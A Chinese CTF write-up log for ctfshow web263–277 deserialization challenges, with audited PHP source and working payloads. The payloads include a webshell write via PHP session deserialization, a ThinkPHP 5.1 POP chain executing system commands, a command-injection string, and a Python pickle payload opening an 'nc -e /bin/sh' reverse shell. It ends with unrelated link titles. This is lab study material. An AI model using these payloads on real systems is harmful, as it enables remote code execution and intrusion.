$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);

之后cookie传参就好了,也可以直接在本来的页面直接get传参

f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

得到flag

?web263
*反序列化漏洞

深入浅析php的session反序列化漏洞问题

代码审计 php中session的存储方式

利用点是session.serialize_handler与php.ini的配置不同引起的反序列化,至于为什么不同,如果相同的也就没必要加上这句设置了,毕竟是默认配置对吧 1

0x01:

打开场景,是一个登陆界面,之前遇到过类似的情况,直接访问www.zip下载源码

check.php

$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){$data= $db->get('admin',[    'id','UserName0'],["AND"=>["UserName0[=]"=>$GET['u'],"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破]]);if($data['id']){//登陆成功取消次数累计$_SESSION['limit']= 0;echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));}else{//登陆失败累计次数加1$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);echo json_encode(array("error","msg"=>"登陆失败"));}
}

index.php

error_reporting(0);session_start();//超过5次禁止登陆if(isset($_SESSION['limit'])){$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);}else{setcookie("limit",base64_encode('1'));$_SESSION['limit']= 1;}
?>

inc.php

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW(['database_type' => 'mysql','database_name' => 'web','server' => 'localhost','username' => 'root','password' => 'root','charset' => 'utf8','port' => 3306,'prefix' => '','option' => [PDO::ATTR_CASE => PDO::CASE_NATURAL]
]);
class User{public $username;public $password;public $status;function __construct($username,$password){$this->username = $username;$this->password = $password;}function setStatus($s){$this->status=$s;}
function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}
}

0x02:代码审计

#写入cookie
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);}else{setcookie("limit",base64_encode('1'));$_SESSION['limit']= 1;}
#调用cookie
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
#利用file_put_contents函数
function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}

如果username为php文件名,password为一句话就可以了。

payload:

class User{public $username='admin/../../../../../../../../../../var/www/html/1.php';public $password='<?php system('ls');?>';public $status='a';}$a=new User();echo base64_encode('|'.serialize($a));

(暂时看不懂,还需学习

web264
*字符串逃逸
*序列化和session
error_reporting(0);
session_start();
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));$_SESSION['msg']=base64_encode($umsg);echo 'Your message has been sent';
}
highlight_file(__FILE__);

message.php

session_start();
highlight_file(__FILE__);
include('flag.php');
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_SESSION['msg']));if($msg->token=='admin'){echo $flag;}
}

0x01:代码审计

根据message.php可知需要将token等于admin

if($msg->token=='admin'){echo $flag;}

index.php中存在

$umsg = str_replace('fuck', 'loveU', serialize($msg));

在字符串替换的时候出现字符串变长的情况,所以出现了字符串逃逸的漏洞

0x02:解题

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

因为还有

if(isset($_COOKIE['msg']))

所以还要cookie随便传一个msg,再访问message.php就可以了

web265
*地址相同
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = $p;}public function login(){return $this->token===$this->password;}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){echo $flag;
}

0x01:代码审计

public function login(){return $this->token===$this->password;}$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){echo $flag;
}

重点在于这几行代码,要求token===password成立,但是token后来有等于随机数,以为源码中没有mt_srand()函数的出现,所以不是伪随机数,那么这么时候可以让password的地址等于token,这样的就会让等式永真

0x02:解题

poc:

<?php
class ctfshowAdmin{public $token;public $password;
}
$a=new ctfshowAdmin();
$a->password=&$a->token;
echo serialize($a);
//O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

得到flag

web266

源码:

highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{public $username='xxxxxx';public $password='xxxxxx';public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function login(){return $this->username===$this->password;}public function __toString(){return $this->username;}public function __destruct(){global $flag;echo $flag;}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){throw new Exception("Error $ctfshowo",1);
}

0x01:代码审计

//可以抓包
$cs = file_get_contents('php://input');

PHP输入流php://input介绍

`php://input`是个可以访问请求的原始数据的只读流。`enctype="multipart/form-data"` 的时候 php://input 是无效的。
if(preg_match('/ctfshow/', $cs)){throw new Exception("Error $ctfshowo",1);
}
当异常被抛出时,其后的代码不会继续执行,PHP 会尝试查找匹配的 "catch" 代码块。如果异常没有被捕获,而且又没用使用 set_exception_handler() 作相应的处理的话,那么将发生一个严重的错误(致命错误),并且输出 "Uncaught Exception" (未捕获异常)的错误消息。Try, throw 和 catch(通常跑出错误,一般会跟try catch配合使用)

所以如果正则匹配到的话,__destruct魔术方法就不会被调用

但是发现正则只是preg_match('/ctfshow/', $cs),对大小写是敏感的,所以只要将ctfshow大写就可以绕过正则了

0x02:解题

poc:

class ctfshow{}
$a=new ctfshow();
echo serialize($a);
//O:7:"CTFSHOW":0:{}
?web274
*thinkphp5

thinkphp5.1.x~5.2.x版本反序列化链挖掘分析

(等看懂了再记录自己的理解

poc:

<?php
namespace think;
abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["lin"=>["calc.exe","calc"]];$this->data = ["lin"=>new Request()];}
}
class Request
{protected $hook = [];protected $filter = "system";protected $config = [// 表单ajax伪装变量'var_ajax'         => '_ajax',  ];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>'lin'];$this->hook = ["visible"=>[$this,"isAjax"]];}
}namespace think\process\pipes;use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;use think\Model;class Pivot extends Model
{}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
?lin=cat /f*
&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19
web275

源码:

class filter{public $filename;public $filecontent;public $evilfile=false;public function __construct($f,$fn){$this->filename=$f;$this->filecontent=$fn;}public function checkevil(){if(preg_match('/php|\.\./i', $this->filename)){$this->evilfile=true;}if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}return $this->evilfile;}public function __destruct(){if($this->evilfile){system('rm '.$this->filename);}}
}
if(isset($_GET['fn'])){$content = file_get_contents('php://input');$f = new filter($_GET['fn'],$content);if($f->checkevil()===false){file_put_contents($_GET['fn'], $content);copy($_GET['fn'],md5(mt_rand()).'.txt');unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);echo 'work done';}}else{echo 'where is flag?';
}

0x01:代码审计

#post
$content = file_get_contents('php://input');
#对象被销毁的时候调用,只要使得$this->evilfile为true就行了
#fn传执行的命令
public function __destruct(){if($this->evilfile){system('rm '.$this->filename);}}
if(preg_match('/php|\.\./i', $this->filename)){$this->evilfile=true;}if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}
#只要有一个满足就行了,但是因为filename是要执行的命令,所以filecontent要满足

0x02:解题

?fn=;tac flag.php
content=flag
web277
*python反序列化漏洞

K0rz3n

python反序列化漏洞:

原因:

利用:


<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->

大佬的payload:

import pickle
import base64
class A(object):def __reduce__(self):return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4567 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))

序列化和反序列化刷题记录相关推荐

  1. BUUCTF-2020寒假刷题记录

    BUUCTF-2020寒假刷题记录 Web [RoarCTF 2019]Easy Calc 打开源码,看到calc.php,打开看到源码. 在 num 前面加个空格即可绕过 ? num=phpinfo ...

  2. BUUCTF刷题记录(7)

    文章目录 web [NPUCTF2020]ezinclude [NPUCTF2020]ReadlezPHP [GXYCTF2019]BabysqliV3.0 非预期1 非预期2 预期 [NCTF201 ...

  3. LeetCode刷题记录15——21. Merge Two Sorted Lists(easy)

    LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) 目录 LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) ...

  4. LeetCode刷题记录14——257. Binary Tree Paths(easy)

    LeetCode刷题记录14--257. Binary Tree Paths(easy) 目录 前言 题目 语言 思路 源码 后记 前言 数据结构感觉理论简单,实践起来很困难. 题目 给定一个二叉树, ...

  5. LeetCode刷题记录13——705. Design HashSet(easy)

    LeetCode刷题记录13--705. Design HashSet(easy) 目录 LeetCode刷题记录13--705. Design HashSet(easy) 前言 题目 语言 思路 源 ...

  6. LeetCode刷题记录12——232. Implement Queue using Stacks(easy)

    LeetCode刷题记录12--232. Implement Queue using Stacks(easy) 目录 LeetCode刷题记录12--232. Implement Queue usin ...

  7. LeetCode刷题记录11——290. Word Pattern(easy)

    LeetCode刷题记录11--290. Word Pattern(easy) 目录 LeetCode刷题记录11--290. Word Pattern(easy) 题目 语言 思路 源码 后记 题目 ...

  8. LeetCode刷题记录10——434. Number of Segments in a String(easy)

    LeetCode刷题记录10--434. Number of Segments in a String(easy) 目录 LeetCode刷题记录9--434. Number of Segments ...

  9. LeetCode刷题记录9——58. Length of Last Word(easy)

    LeetCode刷题记录9--58. Length of Last Word(easy) 目录 LeetCode刷题记录9--58. Length of Last Word(easy) 题目 语言 思 ...

最新文章

  1. 为什么是string.join(list)而不是list.join(string)?
  2. 【计算机网络笔记】计算机网络体系与参考模型
  3. 《Head First Python》第六章--定制数据对象
  4. ocbase 数据库 蚂蚁_iOS开发数据库篇—FMDB简单介绍
  5. nssl1187-排列【dp,随机卡常,树状数组】
  6. vue中如何设置和清除定时器setInterval
  7. 关于 WebRequest.RegisterPrefix
  8. react中对props.children进行操作
  9. CBV-2-CBV流程-view源码解析-面向对象-继承
  10. matlab2013和2014,64位机器MATLAB2013b和MATLAB2014a没有LCC编译器,怎么安装它呢?
  11. HashMap底层数据结构
  12. python读取rtf文件_在python中将unicode文本输出到RTF文件
  13. 大数据经典学习路线以及各阶段所发挥的作用
  14. 由于没有公钥,无法验证下列签名: NO_PUBKEY 4F4EA0AAE5267A6C
  15. xaxis python_Python中的分组Xaxis可变性图
  16. 2020年SEM小搜投放指南:竞价小渠道如何把效果做到极致
  17. 计算机学硕考公更好还是专硕,专硕 VS 学硕 你适合读哪种?
  18. [Migrated]榜样
  19. Keil的安装及使用
  20. 股权和更高的薪资应该选那个呢?

热门文章

  1. HandlerThread源码理解
  2. 2010经典个性签名
  3. 基本概念:分页池和非分页池
  4. win10开机占用内存大,资源管理器也看不到运行进程,非分页缓冲池直接10个G
  5. cocos2dx掼蛋_cocos2dx游戏开发——微信打飞机学习笔记(九)——BulletLayer的搭建...
  6. android incide_《inside》安卓怎么下载 inside安卓版本什么时候出
  7. AD学习笔记——B站学习记录
  8. 基于UIAutomation+Python+Unittest+Beautifulreport的WindowsGUI自动化测试框架common目录解析
  9. ‘vue‘ 不是内部或外部命令,也不是可运行的程序或批处理文件。
  10. 微信小程序-运用painter插件生成海报分享朋友圈--比canvas好用